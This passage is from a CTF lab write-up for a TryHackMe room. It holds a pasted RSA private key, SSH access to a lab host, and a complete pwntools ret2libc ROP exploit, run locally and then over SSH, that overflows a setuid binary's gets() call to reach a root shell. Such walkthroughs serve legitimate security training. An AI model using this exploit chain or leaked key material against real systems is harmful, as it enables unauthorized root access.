GdQ+W8lkg+h/X2C5WwlqUjcQxBuPsMgvZB4W714u5FpFOhiKtMwh20VX8AcwptJ8
ET4m79e+lChbPJqsQZcmtKkjzWhlIimfZWhYHca7DtljYpQf4+uVIle6diy5xot7
lxNniPc9v1y1YFSHYrFfFYmlnniWnBrVhXBw0sydJTnISxvI1p7pw4vMZX441oHb
FNsC+oCtW36HPEprpySilvIzdv1d8N56cW6BZQIDAQABAoIBAQCnb6NNbPxwQ1wP
lMDecZo7Wfcd7UN+MJhl++5Sx5Dbbig+gg1ABbL89h8dOxfkSnG0893lmuhlfWuK
NDr4L6LLGq/qxMxJm2cFRI1EXdkkZv9nNFYMu57n3OsvFZutqxtApfOJVWxa/K0C
cfVbvu0mBU9K1Sg0mZakULosA/vdSGQGXdyS1UmDNSLbfnffyccdk+TiB0mnKpp5
JfE3yML08AJYruEG7ZoNMM170RFtE40al1aox7X9fxe434+sTlBHWXNf+FkHTO8O
gQRQZKEDA2mMpUflMDRSyRjmoZfap7i9LCea4U7jlUeFH13ex3Sgbj6zOeIKMpCq
XBUKaSmhAoGBAOut6/PntcLUJns9oF1I6a4+343Au+Trx3UGeQCXOwIb1WhAXBH4
OvKZEK0qb76MANTU3VdqLXXLwharMd/AyXYX0cXObVQ7FWWF318+3JgVU7q65yx1
11+ZCIaRJfJDEjvbroEvD9xbPcDj3naYaJyqc2mV9OPov8cqAe8PZ+dZAoGBANgJ
YKRJUSyNP2E5xENkaUvQ+OODN4cwMO0yB4QAbFfSvZiR1vVllbgWlQQciAm7WY4j
ovQGrC6/tBr2ylza7hYFq3mNb1vvvKOZSr8x/FYhvoSpA4vMxDFmGM8Fc/gd3guv
LSPPP5nM1GBbgydL3rY5ZIhwCOQOj2ymqoKQkXTtAoGALFgGHFdNqMHYF7opsUOl
zEZCM96+u7ztQ4SbQdQyoxvvlHT/ndXx6XGJZLumWNjo0yLWHrt4oEBdXXyKnsoc
Xd7vdmN3yLBxPy/oLniacvcYUPsXwhLOGkumAgPPevzJsn+MHvxm5JQ6U0/MrM3S
aR/dJVG0ySki5Gtv/7YLW8kCgYEAhKCtLe684OcOI/g830rDwgHW6oXiDyKsxtHR
/13rJbeBIitWlmz5D3z9mvqRIbhc8IA8SCfYiRKz1WHxNjRJukdc0FDeLsjtPFqd
oudjDNXGitbgEHFzeQg+7slgOtDLQs0Wn0daumcfctB7oiJX5fMyHvj43Fl7/64K
PAHY6rkCgYEAsVk6DjjzRQCAMoyC9H4bwAWMkvYerSkmvIo3efCMyUdKtMjg3cCv
EFmGDkEL3l6/2W3bmF6kbYDOeSyRjAaZp59QUiNliiHneD9VwCVXT/IF70O+kNkf
c7FgDFMEoa44S7BZIhxymHyGN7xgPQ6EJonUuMCfmP83KLRZrkI4FPI=
-----END RSA PRIVATE KEY-----

Just paste the private key into a local id_rsa, change some access rights and use it to SSH in to the host and use a stable shell.

> vi id_rsa
> chmod 600 id_rsa
> ssh -i id_rsa [email protected]
The authenticity of host '10.10.59.135 (10.10.59.135)' can't be established.
ED25519 key fingerprint is SHA256:jAjwXDrFIfLMyP95TphtsYnFHy10snZpzCJ5o9J7K8g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.59.135' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


UA Infra: Extended Security Maintenance (ESM) is not enabled.

0 updates can be applied immediately.

195 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Sun Apr 30 20:34:56 2023 from 192.168.100.3
zeeshan@hydra:~$ 

Now let’s see where we are.

zeeshan@hydra:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:e5:8b:59:ea:cf brd ff:ff:ff:ff:ff:ff
    inet 10.10.59.135/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::e5:8bff:fe59:eacf/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:96:09:59:3a brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:96ff:fe09:593a/64 scope link 
       valid_lft forever preferred_lft forever
5: veth229de65@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 2e:90:7d:cb:d4:bf brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::2c90:7dff:fecb:d4bf/64 scope link 
       valid_lft forever preferred_lft forever
7: veth38e7f41@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether be:38:6e:42:32:0c brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::bc38:6eff:fe42:320c/64 scope link 
       valid_lft forever preferred_lft forever

Well it looks like my guesses were right. This is the host where the docker container is running. YOU do know what you should always ALWAYS try when you got a new user on a machine.

zeeshan@hydra:~$ sudo -l
Matching Defaults entries for zeeshan on hydra:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User zeeshan may run the following commands on hydra:
    (ALL : ALL) ALL
    (root) NOPASSWD: /exploit_me
zeeshan@hydra:~$ 

Well the CTF:ish feeling in this room is now complete. :( Let’s download that binary and examine it.

> scp -i id_rsa [email protected]:/exploit_me .
exploit_me                                    100% 8712   164.2KB/s   00:00 
> checksec exploit_me
[*] '/home/f1rstr3am/Documents/obscure/exploit_me'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
 ~/Documents/obscure    

Once again we have a binary without PIE and Canaries. Let’s load it in Ghidra to find out more. Our main function looks like this:

undefined8 main(void)

{
  char local_28 [32];
  
  setuid(0);
  puts("Exploit this binary for root!");
  gets(local_28);
  return 0;
}

Another lame buffer overflow. And it’s internally calling setuid(0) so I guess I won’t even need to use sudo calling it. I really wonder why it was there?

But this time there’s no win() function to use so we need to perform some ROP and a Return-to-libc. I can’t see a way of leaking it’s address from the code within main.

Since we have PIE disabled and pertial RELRO I guess we can take advantage of that and use puts() to leek some LIBC address. First I calculate the offset we need.

> gdb exploit_me
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from exploit_me...
(No debugging symbols found in exploit_me)
gef➤  r
Starting program: /home/f1rstr3am/Documents/obscure/exploit_me 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc1000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Exploit this binary for root!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ee in main ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x007ffff7e19aa0  →  0x00000000fbad2288
$rdx   : 0x1               
$rsp   : 0x007fffffffde88  →  "kaaalaaamaaanaaaoaaapaaa"
$rbp   : 0x6161616a61616169 ("iaaajaaa"?)
$rsi   : 0x1               
$rdi   : 0x007ffff7e1ba80  →  0x0000000000000000
$rip   : 0x000000004005ee  →  <main+56> ret 
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x77              
$r11   : 0x246             
$r12   : 0x007fffffffdf98  →  0x007fffffffe2d3  →  "/home/f1rstr3am/Documents/obscure/exploit_me"
$r13   : 0x000000004005b6  →  <main+0> push rbp
$r14   : 0x0               
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde88│+0x0000: "kaaalaaamaaanaaaoaaapaaa"	 ← $rsp
0x007fffffffde90│+0x0008: "maaanaaaoaaapaaa"
0x007fffffffde98│+0x0010: "oaaapaaa"
0x007fffffffdea0│+0x0018: 0x00000001ffffdf00
0x007fffffffdea8│+0x0020: 0x007fffffffdf98  →  0x007fffffffe2d3  →  "/home/f1rstr3am/Documents/obscure/exploit_me"
0x007fffffffdeb0│+0x0028: 0x0000000000000000
0x007fffffffdeb8│+0x0030: 0xba5a7872b7014088
0x007fffffffdec0│+0x0038: 0x007fffffffdf98  →  0x007fffffffe2d3  →  "/home/f1rstr3am/Documents/obscure/exploit_me"
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4005e3 <main+45>        call   0x400490 <gets@plt>
     0x4005e8 <main+50>        mov    eax, 0x0
     0x4005ed <main+55>        leave  
 →   0x4005ee <main+56>        ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "exploit_me", stopped 0x4005ee in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4005ee → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x $rsp
0x7fffffffde88:	0x6161616b
gef➤  q
> cyclic -l 0x6161616b
40

So we have a buffer offset of 40 where we can start our ROP chain. The plan is to call puts() to leak the address of puts() from GOT. After that we call main() so that it loops once more and we can give it the real payload to spawn a shell. Let’s see if we can get some exploit code working locally.


from pwn import *

elf = ELF('/home/f1rstr3am/Documents/obscure/exploit_me')
elf.address = 0x400000
context.binary = elf
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf])
PUTS_PLT = elf.plt['puts'] 
MAIN_PLT = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]

r = process('/home/f1rstr3am/Documents/obscure/exploit_me')

payload = cyclic(40) +   p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

r.sendlineafter('Exploit this binary for root!\n', payload)
leak = int.from_bytes(r.read(6), 'little')
libc.address = leak - libc.symbols['puts'] 
print(hex(leak))

BINSH = next(libc.search(b'/bin/sh')) 
SYSTEM = libc.sym['system']
EXIT = libc.sym['exit']

rop = ROP([libc])
rop.execve(BINSH, 0, 0)
print(rop.dump())
payload = cyclic(40) + rop.chain()

r.sendlineafter('Exploit this binary for root!\n', payload)

r.interactive()

Let’s try to execute this code locally.

> python3 exploit.py
[*] '/home/f1rstr3am/Documents/obscure/exploit_me'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for '/home/f1rstr3am/Documents/obscure/exploit_me'
[+] Starting local process '/home/f1rstr3am/Documents/obscure/exploit_me': pid 14117
/home/f1rstr3am/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
0x7fc51ac80ed0
[*] Loaded 218 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
0x0000:   0x7fc51ad1f497 pop rdx; pop r12; ret
0x0008:              0x0 [arg2] rdx = 0
0x0010:      b'eaaafaaa' <pad r12>
0x0018:   0x7fc51ac2be51 pop rsi; ret
0x0020:              0x0 [arg1] rsi = 0
0x0028:   0x7fc51ac2a3e5 pop rdi; ret
0x0030:   0x7fc51add8698 [arg0] rdi = 140484536010392
0x0038:   0x7fc51aceb0f0 execve
[*] Switching to interactive mode
$ ls
exploit.pickle       ret            exploit.py    
exploit_me           id_rsa         payload.bin

That spawned a shell allright. But there’s no pwntools available on the target so how do I execute this? Here I actually learned something new. It turns out Pwntools do support SSH so we can connect to the host using that and execute locally.

First of all we need to download the LIBC that is used on the target. We ned to use this in pwntools to calculate the correct addresses in LIBC. First we use ldd to find out what LIBC it uses and then we download it.

zeeshan@hydra:~$ ldd /exploit_me 
	linux-vdso.so.1 =>  (0x00007ffdc6d43000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6f54b98000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f6f54f62000)
zeeshan@hydra:~$ exit
logout
Connection to 10.10.59.135 closed.
> scp -i id_rsa [email protected]:/lib/x86_64-linux-gnu/libc.so.6 .
libc.so.6             

I change the code to use SSH and the targets LIBC.


from pwn import *

elf = ELF('/home/f1rstr3am/Documents/obscure/exploit_me')
elf.address = 0x400000
context.binary = elf
libc = ELF('/home/f1rstr3am/Documents/obscure/libc.so.6')
rop = ROP([elf])
PUTS_PLT = elf.plt['puts'] 
MAIN_PLT = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]

s = ssh(user='zeeshan', host='10.10.59.135', keyfile='/home/f1rstr3am/Documents/obscure/id_rsa')
r = s.process('/./exploit_me')

payload = cyclic(40) +   p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

r.sendlineafter('Exploit this binary for root!\n', payload)
leak = int.from_bytes(r.read(6), 'little')
libc.address = leak - libc.symbols['puts'] 
print(hex(leak))

BINSH = next(libc.search(b'/bin/sh')) 
SYSTEM = libc.sym['system']
EXIT = libc.sym['exit']

rop = ROP([libc])
rop.execve(BINSH, 0, 0)
print(rop.dump())
payload = cyclic(40) + rop.chain()

r.sendlineafter('Exploit this binary for root!\n', payload)

r.interactive()

This should be it. Let’s try to run the exploit code and see if this works.

> python3 exploit.py
[*] '/home/f1rstr3am/Documents/obscure/exploit_me'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/f1rstr3am/Documents/obscure/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for '/home/f1rstr3am/Documents/obscure/exploit_me'
[+] Connecting to 10.10.59.135 on port 22: Done
[*] [email protected]:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/./exploit_me') on 10.10.59.135: pid 3389
/home/f1rstr3am/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
0x7fbc185e86a0
[*] Loaded 173 cached gadgets for '/home/f1rstr3am/Documents/obscure/libc.so.6'
0x0000:   0x7fbc1868e1c9 pop rdx; pop rsi; ret
0x0008:              0x0 [arg2] rdx = 0
0x0010:              0x0 [arg1] rsi = 0
0x0018:   0x7fbc1859a112 pop rdi; ret
0x0020:   0x7fbc18705e57 [arg0] rdi = 140445840596567
0x0028:   0x7fbc186457f0 execve
[*] Switching to interactive mode
# $ whoami
root
# $ cd /root
# $ ls
root.txt
# $ cat root.txt
THM{deadbeefdeadbeefdeadbeefdeadbeef}

Praise the dark lord we are root almighty!

Summary

So this was kind of a bumpy journey, As you probably noticed reading this I did not like this room very much. I really wan’t to learn real life stuff that helps me being a bettar hacker, a better pen tester.

But still it’s always up to you. You can always learn something new if you put your mind to it. This time I add the knowledge that pwntools can use ssh to execute and communicate with binaries on a remote system. That’s a keeper.

Now I think I should put on my sunglasses and move outside into the sun.

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM